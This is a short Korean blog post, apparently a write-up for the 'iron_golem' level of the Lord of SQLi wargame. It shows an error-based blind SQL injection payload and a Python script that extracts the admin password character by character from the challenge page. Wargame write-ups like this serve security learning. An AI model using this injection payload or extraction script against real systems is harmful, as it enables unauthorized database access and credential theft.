워게임/LOS

iron_golem(참 거짓을 판별할 수 없는 blind sqli)

meanjung 2021. 10. 5. 11:05

보통 참 거짓을 판별할 수 없는 blind sql injection에서는 시간 지연(sleep, benchmark 함수)을 이용해 해결한다.

하지만 여기서는 필터링되어있다.

그럼 error based sql injection임을 파악할 수 있다.


쿼리를 날렸을 때 에러가 발생하면 그 에러를 출력하라.

즉, 에러가 나지 않는다면 아무것도 안나오겠지? 에러가 발생한다는 것은 문법적으로 틀리는 등이어야 한다. 해당 데이터가 없는 것과는 다르다.

 

일단 pw 길이 파악이 우선이다.

pw=' or id='admin' and if(length(pw)=1, (select 1 union select 2), 1)# 1값을 계속 바꾸면서 진행한다.

length(pw)=32일 때

즉, admin의 pw 길이는 32라는 의미이다.

 

[**] 1==true / 0==false


import requests

cookies={"PHPSESSID":""}
passwd=""
for i in range(1, 33):
    for c in range(48, 123):
        url = f"https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=' or id='admin' and if(substr(pw,{i},1)=char({c}), (select 1 union select 2), 1)%23"
        res = requests.get(url, cookies=cookies)
        if "Subquery returns more than 1 row" in res.text:
            passwd+=chr(c)
            print(passwd)
            break

output > 06B5A6C16E8830475F983CC3A825EE9A

 

lowercase로 바꿔야 한다.

 

mysql에서는 대소문자를 구별하지 않지만 php에서 구별한다.